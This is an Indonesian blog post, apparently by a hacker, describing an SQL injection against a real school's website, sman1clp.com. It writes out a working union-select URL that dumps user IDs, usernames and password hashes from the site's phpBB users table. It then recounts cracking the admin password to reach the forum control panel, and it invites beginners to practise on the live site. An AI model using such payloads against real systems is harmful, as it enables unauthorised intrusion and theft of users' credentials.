Hmm.. Bug ini sudah sangat-sangat lama terdapat pada situs SMAN 1 Cilacap. Tapi tampaknya pihak Admin cuek-cuek ajah Yawdah lah, mungkin pada Adminnya berbaik hati dan memang Ikhlas situsnya digunakan oleh para newbie untuk latihan SQL Injection

Hm.. Bulan Oktober kemarin situs ini saya pergunakan sebagai target Demo dalam acara Security Gathering Black-IT & spyroZONE.NET di EEPIS-ITS yang berjudul “WEB HACKING: Common Vulnerability in PHP Web Apps“.

Target kali ini adalah Forum, area paling menggiurkan: banyak data sensitif user yang bisa diambil

http://www.sman1clp.com/index.php?cat=artikel&idartikel=-28 union select 1,2,3,group_concat(user_id,0x2d2d,username,0x2d2d,user_password),5 from phpbb_users

Hm.. dan hasilnya adalah.. ^_^

sman1clp.com vulnerable to SQL Injection

Tinggal cari info siapa Adminnya, kemudian crack passwordnya, maka saya sampai di halaman Admin Forum:

sman1clp.com Forum Control Panel